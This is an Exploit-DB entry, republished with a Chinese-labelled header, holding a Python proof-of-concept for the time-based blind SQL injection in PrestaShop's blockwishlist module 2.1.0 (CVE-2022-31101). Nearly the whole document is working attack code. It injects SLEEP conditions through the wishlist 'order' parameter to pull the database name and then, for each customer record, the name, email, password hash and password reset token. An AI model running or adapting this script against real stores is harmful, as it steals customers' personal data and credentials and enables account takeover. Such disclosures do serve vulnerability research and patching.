Prestashop blockwishlist module 2.1.0 – SQLi

  • 作者: Karthik UJ
    日期: 2022-08-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51001/
  • # Exploit Title: Prestashop blockwishlist module 2.1.0 - SQLi
    # Date: 29/07/22
    # Exploit Author: Karthik UJ (@5up3r541y4n)
    # Vendor Homepage: https://www.prestashop.com/en
    # Software Link (blockwishlist): https://github.com/PrestaShop/blockwishlist/releases/tag/v2.1.0
    # Software Link (prestashop): https://hub.docker.com/r/prestashop/prestashop/
    # Version (blockwishlist): 2.1.0
    # Version (prestashop): 1.7.8.1
    # Tested on: Linux
    # CVE: CVE-2022-31101
    
    
    # This exploit assumes that the website uses 'ps_' as prefix for the table names since it is the default prefix given by PrestaShop
    
    import requests
    
    url = input("Enter the url of wishlist's endpoint (http://website.com/module/blockwishlist/view?id_wishlist=1): ") # Example: http://website.com/module/blockwishlist/view?id_wishlist=1
    cookie = input("Enter cookie value:\n")
    
    header = {
    "Cookie": cookie
    }
    
    # Define static stuff
    param = "&order="
    staticStart = "p.name, (select case when ("
    staticEnd = ") then (SELECT SLEEP(7)) else 1 end); -- .asc"
    charset = 'abcdefghijklmnopqrstuvwxyz1234567890_-@!#$%&\'*+/=?^`{|}~'
    charset = list(charset)
    emailCharset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-@!#$%&\'*+/=?^`{|}~.'
    emailCharset = list(emailCharset)
    
    
    # Query current database name length
    print("\nFinding db name's length:")
    for length in range(1, 65):
    condition = "LENGTH(database())=" + str(length)
    fullUrl = url + param + staticStart + condition + staticEnd
    
    try:
    req = requests.get(fullUrl, headers=header, timeout=8)
    except requests.exceptions.Timeout:
    dbLength=length
    print("Length: ", length, end='')
    print("\n")
    break
    
    print("Enumerating current database name:")
    databaseName = ''
    for i in range(1, dbLength+1):
    for char in charset:
    condition = "(SUBSTRING(database()," + str(i) + ",1)='" + char + "')"
    fullUrl = url + param + staticStart + condition + staticEnd
    
    try:
    req = requests.get(fullUrl, headers=header, timeout=8)
    except requests.exceptions.Timeout:
    print(char, end='')
    databaseName += char
    break
    print()
    
    # Enumerate any table
    prefix = "ps_"
    tableName = prefix + "customer"
    staticStart = "p.name, (select case when ("
    staticEnd1 = ") then (SELECT SLEEP(7)) else 1 end from " + tableName + " where id_customer="
    staticEnd2 = "); -- .asc"
    
    print("\nEnumerating " + tableName + " table")
    
    for id in range(1, 10):
    
    condition = "id_customer=" + str(id)
    fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
    
    try:
    req = requests.get(fullUrl, headers=header, timeout=8)
    print("\nOnly " + str(id - 1) + " records found. Exiting...")
    break
    except requests.exceptions.Timeout:
    pass
    
    print("\nid = " + str(id))
    
    # Finding firstname length
    for length in range(0, 100):
    condition = "LENGTH(firstname)=" + str(length)
    fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
    
    try:
    req = requests.get(fullUrl, headers=header, timeout=8)
    except requests.exceptions.Timeout:
    firstnameLength=length
    print("Firstname length: ", length, end='')
    print()
    break
    
    
    # Enumerate firstname
    firstname = ''
    print("Firstname: ", end='')
    for i in range(1, length+1):
    for char in charset:
    condition = "SUBSTRING(firstname," + str(i) + ",1)='" + char + "'"
    fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
    
    try:
    req = requests.get(fullUrl, headers=header, timeout=8)
    except requests.exceptions.Timeout:
    print(char, end='')
    firstname += char
    break
    print()
    
    # Finding lastname length
    for length in range(1, 100):
    condition = "LENGTH(lastname)=" + str(length)
    fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
    
    try:
    req = requests.get(fullUrl, headers=header, timeout=8)
    except requests.exceptions.Timeout:
    lastnameLength=length
    print("Lastname length: ", length, end='')
    print()
    break
    
    # Enumerate lastname
    lastname = ''
    print("Lastname: ", end='')
    for i in range(1, length+1):
    for char in charset:
    condition = "SUBSTRING(lastname," + str(i) + ",1)='" + char + "'"
    fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
    
    try:
    req = requests.get(fullUrl, headers=header, timeout=8)
    except requests.exceptions.Timeout:
    print(char, end='')
    firstname += char
    break
    print()
    
    # Finding email length
    for length in range(1, 320):
    condition = "LENGTH(email)=" + str(length)
    fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
    
    try:
    req = requests.get(fullUrl, headers=header, timeout=8)
    except requests.exceptions.Timeout:
    emailLength=length
    print("Email length: ", length, end='')
    print()
    break
    
    # Enumerate email
    email = ''
    print("Email: ", end='')
    for i in range(1, length+1):
    for char in emailCharset:
    condition = "SUBSTRING(email," + str(i) + ",1)= BINARY '" + char + "'"
    fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
    
    try:
    req = requests.get(fullUrl, headers=header, timeout=8)
    if req.status_code == 500 and char == '.':
    print(char, end='')
    email += char
    except requests.exceptions.Timeout:
    print(char, end='')
    email += char
    break
    print()
    
    # Finding password hash length
    for length in range(1, 500):
    condition = "LENGTH(passwd)=" + str(length)
    fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
    
    try:
    req = requests.get(fullUrl, headers=header, timeout=8)
    except requests.exceptions.Timeout:
    passwordHashLength=length
    print("Password hash length: ", length, end='')
    print()
    break
    
    # Enumerate password hash
    passwordHash = ''
    print("Password hash: ", end='')
    for i in range(1, length+1):
    for char in emailCharset:
    condition = "SUBSTRING(passwd," + str(i) + ",1)= BINARY '" + char + "'"
    fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
    
    try:
    req = requests.get(fullUrl, headers=header, timeout=8)
    if req.status_code == 500 and char == '.':
    print(char, end='')
    passwordHash += char
    except requests.exceptions.Timeout:
    print(char, end='')
    passwordHash += char
    break
    print()
    
    # Finding password reset token length
    for length in range(0, 500):
    condition = "LENGTH(reset_password_token)=" + str(length)
    fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
    
    try:
    req = requests.get(fullUrl, headers=header, timeout=8)
    except requests.exceptions.Timeout:
    passwordResetTokenLength=length
    print("Password reset token length: ", length, end='')
    print()
    break
    
    # Enumerate password reset token
    passwordResetToken = ''
    print("Password reset token: ", end='')
    for i in range(1, length+1):
    for char in emailCharset:
    condition = "SUBSTRING(reset_password_token," + str(i) + ",1)= BINARY '" + char + "'"
    fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
    
    try:
    req = requests.get(fullUrl, headers=header, timeout=8)
    if req.status_code == 500 and char == '.':
    print(char, end='')
    passwordResetToken += char
    except requests.exceptions.Timeout:
    print(char, end='')
    passwordResetToken += char
    break
    print()